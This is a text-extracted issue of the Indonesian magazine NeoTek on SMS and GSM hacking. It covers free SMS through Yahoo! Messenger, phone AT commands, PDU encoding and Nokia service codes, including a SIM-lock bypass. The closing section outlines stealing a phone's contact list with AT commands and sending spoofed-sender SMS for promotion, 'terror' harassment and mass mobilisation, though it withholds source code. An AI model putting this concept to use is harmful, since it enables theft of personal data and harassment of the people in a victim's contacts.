J: Posted May 23 Artikel apa? Kalo mau artikel artikel lama di neotek, mainmain dong ke neotek.co.id disana kamu bisa dapetin semua file pdf majalah neotek edisi lengkap dari tahun pertama hingga ke tiga. Serta beberapa artikel dari majalahmajalah neotek edisi baru. Kalo mau berlajar komputer beneran, cari artikelnya (pdf juga, kamu butuh acrobat reader buat bacanya) jalanjalan ke ilmukomputer.com (situs e-learnimg gratisan terbaik di indonesia, menurut saya). Trus download deh semau kamu, atau cari CDnya di distro terdekat dikota kamu, murah kok cuma goceng! Artikel-artikel dari milis ini (arsip/kumpulan imel lama)? Cari di yahoogroups.com, login, trus main ke seksi majalahneoteknya trus baca-baca deh. Bukan artikel-artikel itu??? Ya cari-cari aja di google.com! yakinlah kalo kata kuncinya benar, pasti ketemu!
langit_byru langit_byru@telkom.net

NeoTek Vol. IV No. 08

NeoStart

KIRIM SMS GRATIS
AKSES MELALUI YAHOO! MESSENGER
Susah mendapatkan account SMS gratis? MA Rody Candera (odyxb@bogor.net) mengungkapkan Yahoo! Messengger memberikan fasilitas kirim SMS gratis. SMS dikirim langsung ke handphone dan penerima pun bisa membalasnya.
Ngirim SMS tanpa harus bayar...

BEGITULAH fasilitas SMS gratis banyak dicari orang. Siapa yang tidak kesemsem dengan fasilitas tersebut karena bisa irit pulsa. Sekarang ini, situs yang menyediakan fasilitas pengiriman SMS gratis sudah sulit untuk dijumpai. Jangan sedih dahulu, Yahoo! Messengger yang kita kenal sebagai program chat dari Yahoo ternyata menyediakan fasilitas pengiriman SMS gratis. Bukan itu saja, penerima SMS yang dikirim juga bisa membalas SMS anda. Tentu saja balasannya dikirim ke akses Yahoo Messengger anda. Ingin tahu caranya? Ikutin artikel berikut.

S

IAPA SIH YANG GAK MAU?

1

INSTALASI YAHOO! MESSENGGER
Syarat yang utama yaitu komputer anda telah ter-instal Yahoo Messenger, jika belum silakan download di www.yahoo.com kemudian ikuti arahan yang selanjutnya akan anda temui nantinya.

2

AKTIFKAN
Setelah instalasi selesai, aktifkan program Yahoo! Messengger. Ada banyak cara untuk mengaktifkan Yahoo Messenger, cara paling cepat dengan double click ikon Yahoo! Messengger di taksbar bagian ujung kanan.

3

LOGIN
Jika anda telah memiliki yahoo account email, masukkan Yahoo ID anda beserta password-nya. Jika tidak memiliki account email di Yahoo, maka anda diwajibkan untuk mendaftar sebagai New user. Klik tombol Get a Yahoo ID.

SMS yang dikirim melalui Yahoo! Messengger

just

Konfirmasi jika SMS dapat di reply

4

ADD A MOBILE FRIEND
Klik tombol yang bergambar ponsel dengan tulisan dibawahnya Mobile. Klik sekali saja maka anda akan dihantar sebuah pop menu, silakan isi kemudian klik tombol Add to Mobile Friends.

5

MENGIRIM SMS
Tuliskan pesan yang ingin anda kirimkan di bagian baris ketik yang ada di bawah dan karakter dibataskan sejumlah 153 saja. Untuk mengirimkan pesan tersebut klik tombol Send.

6

CEK ‘N RICEK
Apakah benar pesan telah dikirimkan dan sampai kepada tujuan? Ternyata benar-benar sampai, bahkan penerima SMS anda dapat membalas SMS yang anda kirimkan tadinya.

Vol. IV No. 08 NeoTek

9

NeoStart

Penggunaan Handphone yang sudah sangat meluas membut anda perlu mengenal hal-hal apa saja yang tersembunyi dibaliknya. Bung Ftp_Geo (FG@yahoo.com) membahasnya untuk menambah wawasan anda terhadap dinamika dunia ponsel.
T COMMANDS DIGUNAKAN UNTUK MELAKUKAN KOMUnikasi dengan modem. Standar AT commands yang lazim digunakan adalah AT commands pada kom-patibel modem Hayes. Ponsel pada dasarnya adalah modem, sehingga AT command pun berlaku pada ponsel. AT commands untuk ponsel ditetapkan dengan adanya standar GSM 07.07 dan GSM 07.05. Dengan menggunakan kabel data yang tersedia pada masingmasing jenis dan merk ponsel, kita dapat 'berkomunikasi' dengan ponsel melalui PC. Dengan utility built-in dari Windows yaitu Hyper Terminal kita sudah dapat mengorek informasi ponsel melalui sebuah kabel data ataupun melalui saluran komunikasi infra merah.

Menguak Rahasia Ponsel
Mari kita coba melakukan koneksi ke ponsel melalui komputer. Start > Programs > Accesories > Communications > Hyper Terminal. Jika belum tersedia Hyper Terminal, masukkan CD Windows dan tambahkan aplikasi Hyper Terminal ke Windows Anda. Buatlah koneksi baru dengan nama Hyper Terminal. Jika anda menghubungkan ponsel ke port COM1 pada komputer dengan kabel data, pilihlah port COM1. Jika menggunakan infra merah, pilihlah port COM yang paling akhir, biasanya COM6. Buat koneksi baru dan pilih bit per second (bps) yang sesuai dengan ponsel Anda. Kebanyakan menggunakan bps 19200. Lalu kirimkan perintah at untuk memeriksa koneksi. Jika responnya OK, maka koneksi berhasil dilakukan.

S M S DAN G S M HAC K I N G

A

Jika menggunakan DOS, anda dapat menggunakan Telix (http://www.telix.com). Sedangkan di linux, bisa menggunakan minicom (http://freshmeat.net/projects/minicom).

10

NeoTek Vol. IV No. 08

NeoStart
Dengan bahasa pemrograman tersebut, kita dapat menghantarkan perintah-perintah AT dari PC ke ponsel. Umumnya, bahasa pemrograman sudah memiliki kemampuan untuk dapat melakukan komunikasi dengan port komunikasi pada PC (COM1, COM2, dst), walaupun mungkin harus menggunakan modul atau library tertentu. Java memerlukan paket tambahan javacomm. Adapun ActivePerl pada Windows menggunakan modul Win32::SerialPort-0.19 yang memerlukan instalasi modul Win32::API terlebih dahulu (http://dada.perl.it/). Pada h Visual Basic juga telah tersedia komponent MS Communication Control. Berikut ini beberapa contoh AT commands untuk GSM yang umum digunakan (perintah selengkapnya terdapat pada file .pdf yang disertakan dalam CD Neotek).
PERINTAH
AT+CGMI AT+CGMM AT+CGMR AT+CGSN AT+GSN AT+CHUP AT+CEER AT+CREG AT+COPS AT+CPBS AT+CPBR AT+CPBW AT+CSMS AT+CPMS AT+CMGF AT+CSCA AT+CNMI AT+CMGL AT+CMGR AT+CMGS AT+CMSS AT+CMGW AT+CMGD AT+CMGC

FUNGSI
Menampilkan kode manufaktur (pabrik pembuat) Menampilkan model ponsel Menampilkan versi software ponsel Menampilkan nomor IMEI Menampilkan nomor IMEI Menutup percakapan Menampilkan sebab terputusnya koneksi terakhir Registrasi jaringan Registrasi jaringan Memilih buku telepon (SIM atau mobile) Membaca isi buku telepon Menambah isi buku telepon Memilih Memilih memori penyimpanan SMS Memilih format SMS (teks atau PDU) Menampilkan nomor message center yg digunakan Menampilkan SMS baru Menampilkan daftar SMS Membaca SMS Mengirim SMS Mengirim SMS dari memori Menulis SMS ke memori Menghapus SMS di memori Mengirimkan perintah SMS

Daftar perintah-perintah modem GSM bisa didapat dari vendor masing-masing ponsel. Dapat juga cari atau tanya di www.forumponsel.com. Perintah-perintah dasar AT untuk GSM bersifat standar, namun beberapa vendor menambahkan perintah AT yang hanya bisa dijalankan pada produk mereka. Dalam contoh ini saya menggunakan daftar perintah AT yang saya dapat dari Siemens, berupa sebuah file .pdf yang berisi daftar perintah AT standar dan tambahan khusus Siemens. Apa untungnya menggunakan AT command? Dengan AT command, anda dapat mengotomatisasi tugas pada ponsel anda. Mulai dari pengiriman dan manajemen penerimaan SMS, sampai pada manajemen phonebook. Singkatnya, anda dapat mengendalikan sendiri semua fitur yang tersedia pada ponsel. Apakah AT commands saja cukup? Kita masih me-merlukan satu piranti lagi untuk dapat mengotomatisasi tugas pada ponsel. Kita membutuhkan bahasa pemrograman yang dapat berkomunikasi dengan port COM pada PC.

Vol. IV No. 08 NeoTek

11

NeoStart

SMS, PDU, dan AT Commands
Melanjutkan pengantar mengenai handphone, MA Rody Candera (odyxb@bogor.net) membahas lebih rinci lagi mengenai format SMS serta AT commands yang biasa terdapat pada modem. Handphone sekarang hampir semuanya merupakan suatu modem juga, bukan?
handphone, bukanlah barang baru lagi. Penggunanya sudah begitu meluas sebagai alat komunikasi yang praktis, dalam arti kata bisa dibawa kemanamana. Tidak saja orang dewasa, bahkan anak-anak muda pun tidak ketinggalan. Tidak saja untuk kepentingan bisnis melainkan juga untuk urusan pribadi. Perkembangan teknologi handphone melaju pesat, terlihat dari begitu diminatinya handphone oleh masyarakat dunia sehingga menimbulkan tingkat persaingan yang tinggi antar produsen handphone seperti Nokia, Motorola, Siemens, dan lain-lain. Untuk meraih pangsa pasar mereka membuat handphone semakin beraneka ragam dalam bentuk maupun fungsi yang disediakan. Pada awalnya handphone dibuat dengan teknologi analog yang kemudian berkembang menjadi teknologi digital. Kemampuannya tidak hanya sebagai alat komunikasi seperti telepon reguler, melainkan sudah memiliki fungsi sebagai kamera, untuk mengakses internet, dan lain sebagainya. Teknologi yang tadinya ditujukan untuk komputer, kini ditujukan juga kepada handphone yang menjadikannya suatu komputer mini yang memiliki kemampuan komputer pada umumnya. Kini dengan masuknya produsen komputer ke kancah persaingan handphone, semakin menambah warna-warni teknologi handphone. Artikel ini merupakan suatu pengantar karena banyak hal yang penting untuk diketahui mengenai handphone. Tujuannya adalah tidak lain agar kita setidaknya mengetahui seluk-beluk yang terhadap dalam handphone hingga tidak hanya menjadi pengguna pasif saja. Berdasarkan pengalaman penulis, pengguna pasif terkadang menjadi korban pengguna aktif yang lebih banyak memahami seluk-beluk handphone.

S M S DAN G S M HAC K I N G

T

ELEPON GENGGAM ATAU BIASA KITA SEBUT DENGAN

gambar dan ringtone. Pesan SMS 16-bit memiliki maksimal karakter sejumlah 70 yang digunakan untuk 'Flash SMS'

PDU (Protocol Description Unit) Format
Ada 2 cara untuk mengirim dan menerima pesan SMS, yaitu 'Text mode' dan 'PDU mode'. Menerima pesan dalam bentuk mode PDU berisi PDU string yang tidak hanya berisi pesan saja tetapi juga berisi mengenai pengirim pesan seperti 'SMS Service Centre', 'waktu penerimaan pesan', dan lain sebagainya. Seperti yang digambarkan berikut, string PDU dari pesan SMS yang diterima oleh Nokia 8250 dengan isi pesan SMS yaitu 'Okay!'. Tabel 2. PDU String
Deskripsi Panjang informasi mengenai SMSC Type alamat SMSC (91 adalah format nomor telephone Internasional) 26181642240C Nomor pusat service 91 Octet pertama pada pengiriman pesan SMS 26 Panjang alamat nomor pengirim 18 Type alamat nomor pengirim 55672063 Nomor pengirim 00 TP-PID (Protocol Identifier) 00 TP-DCS (Data Coding Scheme) 404052125285820 TP-SCTS (Time Stamp) 5C TP-UDL, panjang data pesan F75381F02 TP-UD, pesan SMS yang berisi 'Okay!' Octet(s) 05 91

AT Commands
Merupakan media komunikasi antara handphone dan komputer untuk menulis, mengirim, dan membaca SMS, maupun menjadikan handphone sebagai modem untuk hubungan koneksi ke HSCD atau GPRS. Antara handphone dan komputer diperlukan kabel data. Memulai AT Commands, dapat melalui program khusus atau menggunakan program 'HyperTerminal' yang sudah built-in pada Microsoft Windows. Dan jangan lupa handphone telah tersambung dengan kabel data yang terhubung ke komputer AT Commands diawali dengan 'AT' dan maksimal terdiri dari 140 karakter. Berikut pada Tabel-tabel 3 sampai 10 merupakan tabel-tabel AT Commands. Seperti telah disinggung pada point PDU Format, PDU String dari pesan SMS yang diterima Nokia 8520 yaitu: 059126181642240C9126185567206300004040521252858205CF75381F02

SMS (Short Message Service)
Fasilitas ini siapa yang tidak tahu, pengguna handphone pasti pernah memanfaatkannya atau barangkali selalu memanfaatkannya karena biayanya lebih murah dibanding menghubungi secara langsung (penghematan pulsa :). Ketika mengirim dan menerima SMS, apa kita tahu sebenarnya bagaimana proses yang terjadi dibalik itu? Nah..., tidak salah kita mengetahui bagaimana sistem kerja di balik SMS ini. Pesan SMS merupakan ditetapkan oleh ETSI (European Telecommunication Standards Institute) sebagai dokumen pada GSM 03.40 dan GSM 03.38 yang bisa berisi text sampai di atas 160 karakter (standar karakter umumnya 160) dimana masing-masing karakter dihitung dengan nilai 7 bit (lihat tabel default alphbet7-bit). bSelain yang 7-bit, ada juga pesan SMS dengan nilai 8-bit tetapi karakter dibataskan pada 140 dan digunakan untuk
12

NeoTek Vol. IV No. 08

NeoStart
Tabel 1. Default Alfabet 7-bit
Hex Dec Nama Karakter karakter ISO-8859-1DEC
64 163 36 165 232 233 249 236 242 199 10 216 248 13 Å 197 229 95

Hex
0x3B 0x3C 0x3D 0x3E 0x3F 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4A 0x4B 0x4C 0x4D 0x4E 0x4F 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5A 0x5B 0x5C 0x5D 0x5E 0x5F 0x60 0x61 0x62 0x63 0x64 0x65 0x66 0x67 0x68 0x69 0x6A 0x6B 0x6C 0x6D 0x6E 0x6F 0x70 0x71 0x72 0x73 0x74 0x75 0x76 0x77 0x78 0x79 0x7A 0x7B 0x7C 0x7D 0x7E 0x7F

Dec
59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127

Nama Karakter

karakter ISO-8859-1DEC
; < = > ? ¡ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Ä Ö Ñ Ü § ¿ a b c d e f g h i j k l m n o p q r s t u v w x y z ä ö ñ ü à 59 60 61 62 63 161 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 196 214 209 220 167 191 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 228 246 241 252 224

0x00 0 commercial at @ 0x01 1 pound sign £ 0x02 2 dollar sign $ 0x03 3 yen sign ¥ 0x04 4 latin small letter e with grave è 0x05 5 latin small letter e with acute é 0x06 6 latin small letter u with grave ù 0x07 7 latin small letter i with grave ì 0x08 8 latin small letter o with grave ò 0x09 9 latin capital letter c with cedilla Ç 0x0A 10 line feed 0x0B 11 latin capital letter o with stroke Ø 0x0C 12 latin small letter o with stroke ø 0x0D 13 carriage return 0x0E 14 latin capital letter a with ring above 0x0F 15 latin small letter a with ring above å 0x10 16 greek capital letter delta ∆ 0x11 17 low line _ 0x12 18 greek capital letter phi Φ 0x13 19 greek capital letter gamma Γ 0x14 20 greek capital letter lambda Λ 0x15 21 greek capital letter omega Ω 0x16 22 greek capital letter pi Π 0x17 23 greek capital letter psi Ψ 0x18 24 greek capital letter sigma Σ 0x19 25 greek capital letter theta Τ 0x1A 26 greek capital letter xi Ξ 0x1B 27 escape to extension table 0x1B0A 27 10 form feed 0x1B14 27 20 circumflex accent ^ 0x1B28 27 40 left curly bracket { 0x1B29 27 41 right curly bracket } 0x1B2F 27 47 reverse solidus (backslash) \ 0x1B3C 27 60 left square bracket [ 0x1B3D 27 61 tilde ~ 0x1B3E 27 62 right square bracket ] 0x1B40 27 64 vertical bar | 0x1B65 27 101 euro sign € 0x1C 28 latin capital letter ae Æ 0x1D 29 latin small letter ae æ 0x1E 30 latin small letter sharp s (german) ß 0x1F 31 latin capital letter e with acute É 0x20 32 space 0x21 33 exclamation mark ! 0x22 34 quotation mark " 0x23 35 number sign # 0x24 36 currency sign ¤ 0x25 37 percent sign % 0x26 38 ampersand & 0x27 39 apostrophe ' 0x28 40 left parenthesis ( 0x29 41 right parenthesis ) 0x2A 42 asterisk * 0x2B 43 plus sign + 0x2C 44 comma , 0x2D 45 hyphen-minus 0x2E 46 full stop . 0x2F 47 solidus (slash) / 0x30 48 digit zero 0 0x31 49 digit one 1 0x32 50 digit two 2 0x33 51 digit three 3 0x34 52 digit four 4 0x35 53 digit five 5 0x36 54 digit six 6 0x37 55 digit seven 7 0x38 56 digit eight 8 0x39 57 digit nine 9 0x3A 58 colon :

12 94 123 125 92 91 126 93 124 164 (ISO-8859-15) 198 230 223 201 32 33 34 35 164 (ISO-8859-1) 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58

semicolon less-than sign equals sign greater-than sign question mark inverted exclamation mark latin capital letter a latin capital letter b latin capital letter c latin capital letter d latin capital letter e latin capital letter f latin capital letter g latin capital letter h latin capital letter i latin capital letter j latin capital letter k latin capital letter l latin capital letter m latin capital letter n latin capital letter o latin capital letter p latin capital letter q latin capital letter r latin capital letter s latin capital letter t latin capital letter u latin capital letter v latin capital letter w latin capital letter x latin capital letter y latin capital letter z latin capital letter a with diaeresis latin capital letter o with diaeresis latin capital letter n with tilde latin capital letter u with diaeresis section sign inverted question mark latin small letter a latin small letter b latin small letter c latin small letter d latin small letter e latin small letter f latin small letter g latin small letter h latin small letter i latin small letter j latin small letter k latin small letter l latin small letter m latin small letter n latin small letter o latin small letter p latin small letter q latin small letter r latin small letter s latin small letter t latin small letter u latin small letter v latin small letter w latin small letter x latin small letter y latin small letter z latin small letter a with diaeresis latin small letter o with diaeresis latin small letter n with tilde latin small letter u with diaeresis latin small letter a with grave

Vol. IV No. 08 NeoTek

13

NeoStart
Tabel 5. Phone Control Commands
AT+CBC AT+CGMI AT+CGMM AT+CGMR AT+CGSN AT+CMEE AT+CPAS AT+CPBF AT+CPBR AT+CPBS AT+CPBW AT+CSCS AT+CSQ Battery Charge Request Manufacturer Identification Request Model Identification Request Revision Identification Request Product Serial Number Identification Report Mobile Equipment Error Phone Activity Status Find Phone Book Entries Read Phone Book Entry Select Phone Book Memory Storage Write Phone Book Entry Select TE Character Set Signal Quality

Tabel 6. Computer Data Card Interface Commands
Gambar 1: Hyperterminal, Built-In di MS. Windows ATE ATQ ATV ATX AT&C AT&D AT&K AT&Q AT&S AT+ICF AT+IFC AT+IPR AT+CLIP AT+CR AT+DR AT+ILRR Command Echo Result Code Suppression Define Response Format Response Range Selection Define DCD Usage Define DTR Usage Select Flow Control Define Communications Mode Option Define DSR Option DTE-DCE Character Framing DTE-DCE Local Flow Control Fixed DTE Rate Calling Line Identification Presentation Service Reporting Control Data Compression Reporting DTE-DCE Local Rate Reporting

Tabel 7. Network Communication Parameter Commands
ATB AT+CBST AT+CEER AT+CRLP AT+DS Communications Standard Option Select Bearer Service Type Extended Error Report Radio Link Protocol Data Compression

Gambar 2: Tampilan HyperTerminal pada MS Windows XP

Tabel 3. Call Control
ATA ATD ATH ATL ATM ATO ATP ATT AT+CSTA AT+CRC Answer Command Dial Command Hang Up Call Monitor Speaker Loudness Monitor Speaker Mode Go On-Line Set Pulse Dial as Default Set Tone Dial as Default Select Type of Address Cellular Result Codes

Tabel 8. Miscellaneous Commands
A/ AT? AT*C AT*T AT*V AT*NOKIATEST AT+CESP Re-Execute Command Line Command Help Start SMS Interpreter Enter SMS Block Mode Protocol Activate V.25bis Mode Test Command Enter SMS Block Mode Protocol

Tabel 9. SMS Commands SMS Text Mode
AT+CSMS AT+CPMS AT+CMGF AT+CSCA AT+CSMP AT+CSDH AT+CSCB AT+CSAS AT+CRES AT+CNMI AT+CMGL AT+CMGR AT+CMGS AT+CMSS AT+CMGW AT+CMGD Select Message Service Preferred Message Storage Message Format Service Centre Address Set Text Mode Parameters Show Text Mode Parameters Select Cell Broadcast Message Types Save Settings Restore Settings New Message Indications to TE List Messages Read Message Send Message Send Message from Storage Write Message to Memory Delete Message

Tabel 4. Data Card Control Commands
ATI ATS ATZ AT&F AT&V AT&W AT&Y AT+CLCK AT+COLP AT+GCAP AT+GMI AT+GMM AT+GMR AT+GSN 14 Identification Select an S-register Recall Stored Profile Restore Factory Settings View Active Configuration Store Parameters in Given Profile Select Set as s Powerup Option Facility Lock Command Connected Line Identification Presentation Request Complete Capabilities List Request Manufacturer Identification Request Model Identification Request Revision Identification Request Product Serial Number Identification

NeoTek Vol. IV No. 08

NeoStart
Tabel 10. SMS PDU Mode
AT+CMGL AT+CMGR AT+CMGS AT+CMGW List Messages Read Message Send Message Write Message to Memory

didapat dari memanfaatkan AT Commands pada hyperterminal, perhatikan Gambar 3.

Gambar 3.

Penipuan yang dilakukan menggunakan handphone dapat dimasukkan kedalam kategori Fake SMS. Penipuan ini makin meluas sekarang, berhati-hatilah! Pernah mendengar virus yang menyerang Nokia seri 33xx? Virus tersebut pertama kali ditemukan oleh ilmuwan Belanda, dimana virus yang ciptakannya didasarkan beberapa penelitian terhadap handphone Nokia seri 33xx yang menghasilkan report mengenai bug yang terdapat pada handphone tersebut. Dalam perkembangan virus handphone mengalami kemajuan yang menunjukkan hasil yang menakutkan karena memiliki daya perusak yang hebat, dan kebanyakan virus tersebut dibuat menggunakan VBScript. Contoh virus handphone yang pernah menjadi bahan perbincangan antara lainnya seperti Hoax dan Timofonica. Virus tersebut dikirim kepada target sebagai pesan SMS dan jika di terima bisa saja membuat anda terpaksa memasukkan pembelian handphone baru pengganti pada anggaran belanja anda. Tetapi, benarkah virus handphone itu ada? Masih menjadi perbincangan antara pro dan kontra.

Nokia Codes
Nokia dengan mottonya Connecting People memiliki pengguna yang banyak untuk market di Indonesia hingga dikenal sebagai handphone Sejuta Umat. Itu sebuah ejekan atau tidak, tapi terbukti Nokia menjadi pilihan terbanyak. Disamping harganya terbilang cepat turun, juga sangat mudah penggunaannya. Model yang dimiliki tidak tertinggal dengan model handphone merek lainnya. Setiap handphone memiliki kode-kode tersendiri, yang akan disinggung disini hanya kode-kode yang terdapat pada Nokia, itupun tidak seluruhnya. Pengetahuan akan kode-kode tersebut penting diketahui karena kita dituntut untuk mengenal dengan baik atas apa-apa yang miliki. Untuk mengetahui lebih banyak mengenai kode-kode handphone Nokia, kunjungi http://www.cellphonehacks.com.
Gambar 4.

Tabel 11 Nokia Codes
Nokia seri Judul Kode 7110 Service Provider #pw+1234567890+1# Lock #pw+1234567890+2# #pw+1234567890+3# #pw+1234567890+4# deskripsi Mengunci Service Provider pada ponsel sehingga ketika ponsel dimasukkan kartu lain dari operator yang ber beda maka ponsel akan menolak kartu tersebut. Menampilkan serial number, tanggal manu facture, tanggal purchase, user data

Jika dilakukan convert PDU String tersebut, maka akan terlihat pada Gambar 4.

SMS Fake Sender
Dinamakan begitu karena dapat keusilan yang dihasilkan dapat membuat jengkel orang yang menjadi korbannya. Fake SMS merupakan SMS yang dapat berupa pesan unik atau bahkan menjijikkan. Menjijikkan karena ada beberapa SMS Fake memiliki tingkat bahaya yang harus diwaspadai. Yang menjadi target tentu handphone. Apakah anda pernah menerima pesan SMS dalam jumlah paket yang sangat banyak (lebih dikenal dengan istilah SMS Bomb) dan dalam waktu yang bersamaan? Efek yang ditimbulkan terhadap handphone dengan menerima pesan SMS dalam jumlah paket yang banyak tersebut membuat handphone menjadi crash atau bila mungkin yang paling mengenaskan membuat handphone menjadi rusak dan tidak berguna. Efek tersebut dikarenakan quota yang dimiliki sebuah handphone untuk menampung pesan SMS yang masuk terbatas. Jika tidak menimbulkan kerusakan berarti, yang menjadi masalah adalah menghapus pesan SMS tersebut. Bayangkan jika anda menghapus 5000 pesan SMS, memungkinkan tidak ya?

3210, 33xx `Menu Extra 6150, 6210 7110 16xx, 21xx Bypass Service 31xx, 51xx 81xx

*#92702689#

1. Masukkan kartu yang Membuka penguncian berbeda provider Service Provider pada 2. Aktifkan ponsel, te- ponsel kan 'UP' 3 detik, kemudian ponsel akan meminta Pin Code 3. Tekan key 'C' 4. Tekan key '*', tunggu, kemudian tekan kembali key '*', masukkan 04*PIN*PIN*PIN# Melihat menu warranty yang berisi opsi: 1. Serial Number 2. Date made 3. Programming Date 4. Repaired Date 5. Transfer user data 6. Life Timer

5170i

Warranty menu *#92772689#

Vol. IV No. 08 NeoTek

15

NeoStart

Mengenal Format Data SMS
Bung Ftp_Geo (FG@yahoo.com) melanjutkan pembahasan SMS dengan mengenali formatformat data yang digunakan dalam pengiriman pesan SMS. Pengenalan ini penting untuk Hacking, yaitu diantaranya SMS Fake Sender dan Mencuri Data Ponsel melalui SMS.
SMS SUDAH SANGAT BERAGAM dan memasyarakat. Tidak sulit menemukan pengguna ponsel yang sedang asyik melatih jarinya menekan keypad untuk mengirimkan SMS. Saya sendiri termasuk yang menggemari fasilitas ini. Tentunya disertai keinginan untuk mempelajari cara kerja SMS. Pada saat menekan tombol Send, selalu timbul pertanyaan besar pada diri saya: Bagaimana sebenarnya SMS disampaikan?

S M S DAN G S M HAC K I N G

S

AAT INI, PENGGUNAAN

Coba mari kita ikuti tahap-tahap pengiriman SMS. Mulai dari menekan tombol Send, sampai pada saat menerima laporan status pengiriman (status report) apakah SMS tersebut berhasil dikirim atau gagal tak terkirim. Ketika anda menekan tombol send untuk mengirimkan SMS dari ponsel, sebenarnya anda sedang mengirimkan M pesan dengan format MO (Mobile Originated) ke SMS Center. Informasi yang terkandung dalam MO antara lain:
1. Service Center Address (SCA), yaitu nomor SMSC yang digunakan. 2. Tipe format PDU (Protocol Data Unit) yang digunakan. 3. Message Reference (MR). 4. Destination Address (DA), yaitu berisi nomor tujuan. 5. Protocol Indetifier (PID). 6. Data Coding Scheme (DCS) yang menginformasikan enkoding apa yang dipakai oleh MO. 7. Validity Period (VP) memuat informasi berapa lama SMS harus menunggu di antrian, jika nomor tujuan belum memberikan respon. Mirip (tapi tidak sama) dengan TTL (Time To Live) pada TCP/IP. 8. User Data Length (UDL) memuat panjang isi pesan SMS. 9. User Data (UD), nah baru pada segmen kesembilan inilah letak isi pesan SMS sesungguhnya berada.

Namun perlu diketahui bahwa, baik pada format MO maupun MT, SMS tidak dikirimkan dalam bentuk teks murni (clear text). SMS menggunakan format data khusus yang dikenal dengan istilah PDU (Procotol Data Unit). PDU sendiri berbentuk oktet (pasangan) heksadesimal dan oktet semidesimal. Dengan menguasai format PDU, Anda dapat mengkustomisasi sendiri isi SMS Anda. Format Data MO
SCA PDU-Type MR DA PID DCS VP UDL UD

Format Data MT
SCA PDU-Type OA PID DCS SCTS UDL UD

Badan yang mendefinisikan standar penulisan dan enkoding SMS ini adalah The European Telecommunications Standards Institute (ETSI). Bagi Anda yang berminat mendalami E lebih jauh tentang standar-standar komunikasi, tidak usah sungkan untuk membuka situs www.etsi.org milik ETSI. Untuk mendalami format PDU, anda dapat merujuk pada sumber-sumber yang khusus membahas hal tersebut seperti www.dreamfabric.com/sms. Ada juga software yang dapat mengkonversi PDU ke teks, dan sebaliknya, bernama PDU Spy. Download software ini dari www.nobbi.com Informasi routing pada umumnya akan mengikuti setting default dari operator jaringan seluler yang anda gunakan. Semua SMS yang dikirimkan akan melewati SMSC ini. Dalam SMSC inilah terdapat aplikasi billing yang akan memeriksa apakah Anda memiliki kredit (dikenal dengan istilah pulsa)

Setelah pesan MO ini sampai ke SMSC, maka SMSC akan memproses lebih lanjut dengan mengirimkan pesan dengan M format MT (Mobile Terminated) ke ponsel tujuan. MT tersebut membawa pesan berisi:
1. Service Center Address (SCA), yaitu nomor SMSC yang digunakan. 2. Orginator Address (OA), alamat pengirim. 3. Protocol Indetifier (PID). 4. Data Coding Scheme (DCS) yang menginformasikan enkoding apa yang dipakai oleh MT. 5. Service Center Time Stamp (SCTS) yaitu waktu pengiriman dari SMSC. 6. User Data Length (UDL) memuat panjang isi pesan SMS. 7. User Data (UD), memuat isi pesan SMS. 16 Gambar 1. Tampilan PDU Spy

NeoTek Vol. IV No. 08

NeoStart
Mengirim SMS dengan Modus PDU
Setelah mengenal AT commands dan PDU mode, maka berikut adalah cara pengiriman SMS dengan kedua hal tersebut. 1. Siapkan SMS yang akan dikirimkan ke dalam bentuk PDU. Bisa menggunakan PDUSpy. 2. Jalankan AT command pengiriman SMS. Contoh SMS: Nomor Tujuan : +628128049030 SMSC : +62816124 Isi pesan : Halo redaksi Majalah Neotek.. Maka PDU-nya adalah: 05912618164221000C9126188240090300001DC830FB0D 9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502 Jalankan AT command: AT+CMGF=0 //Memilih modus PDU AT+CSMS=0 //Memeriksa apakah ponsel dapat menerima SMS commands AT+CMGS=29 //Mengirim SMS, berisi 29 septets >05912618164221000C9126188240090300001DC830FB0 D9297C9E1F53C0D6A86D56176180D7296DFF4F2DAE502 (diakhiri dengan Control-Z).

Pencurian Data Ponsel
Sering melihat alat pengisi ringtone, logo dan wallpaper di pusat perbelanjaan ponsel? Bagaimana jika program tersebut sebenarnya adalah praktek Cell Phone Data Theft? Setelah mempelajari AT commands untuk GSM dan kemudian pada artikel selanjutnya mengenai SMS Fake Sender, mari kita menyusun konsep aplikasi pencurian data ponsel. Untuk membaca isi phone book seseorang cukup dengan beberapa AT commands saja. Yaitu AT+CPBS untuk memilih tempat penyimpanan phone book. AT+CPBR untuk membaca isi phone book. Setelah isi phone book berhasil didapat, maka kita dapat mengirimkan SMS fake sender dengan sender ID pemilik phone book, kepada nomor-nomor di dalam phone book. (Konsepnya mirip dengan virus-virus email yang membajak Address Book pada Email Client). Mengingat risikonya, saat ini saya belum dapat menyertakan source code aplikasi tersebut. Kegunaan: 1. Promosi. Misal dengan mengirimkan pesan: Hai, $name. Kemaren aku coba makan steak di Steak Corner Bintaro ok banget lho. Malam minggu ketemuan di sana yuk ^_^. Dengan variable $name diambil dari isi phone book yang dicuri (nomor tujuan). 2. Terror. $name, rese nih 081xxxxxx Miskol gw mlolo.. Bantuin gw miskol-in balik dia ye. Biar tau rasa. Bayangkan bagaimana bingungnya korban 081xxx jika menerima miskol dari seratus nomor yang berbeda. 3. Penggalangan massa. Misal, $name! Besok kumpul di Al Azhar yuk! Ada pengajian. 4. Dll, khususnya yang berkenaan dengan pemberitaan massal. Tentunya pemilihan korban juga menentukan kecocokan kegunaan yang dipilih. Korban dari kalangan mahasiswa memiliki karakter yang berbeda dengan korban dari kalangan pengusaha, karyawan, dll. Bluesnarfing dan Bluejacking Pencurian data ponsel dapat juga melalui fasilitas Bluetooth. Ponsel dengan fasilitas Bluetooth yang selalu ‘on’ berisiko terkena pencurian data, seperti dilaporkan oleh Click Online pada situs BBC (rekaman video-nya dimuat dalam CD NeoTek). Pencurian data bhandphone melalui fasilitas Bluetooth ini dikenal sebagai Bluesnarfing. ‘Olahraga’ yang populer di Eropa sekarang ini, yaitu Bluejacking, sebenarnya tidak 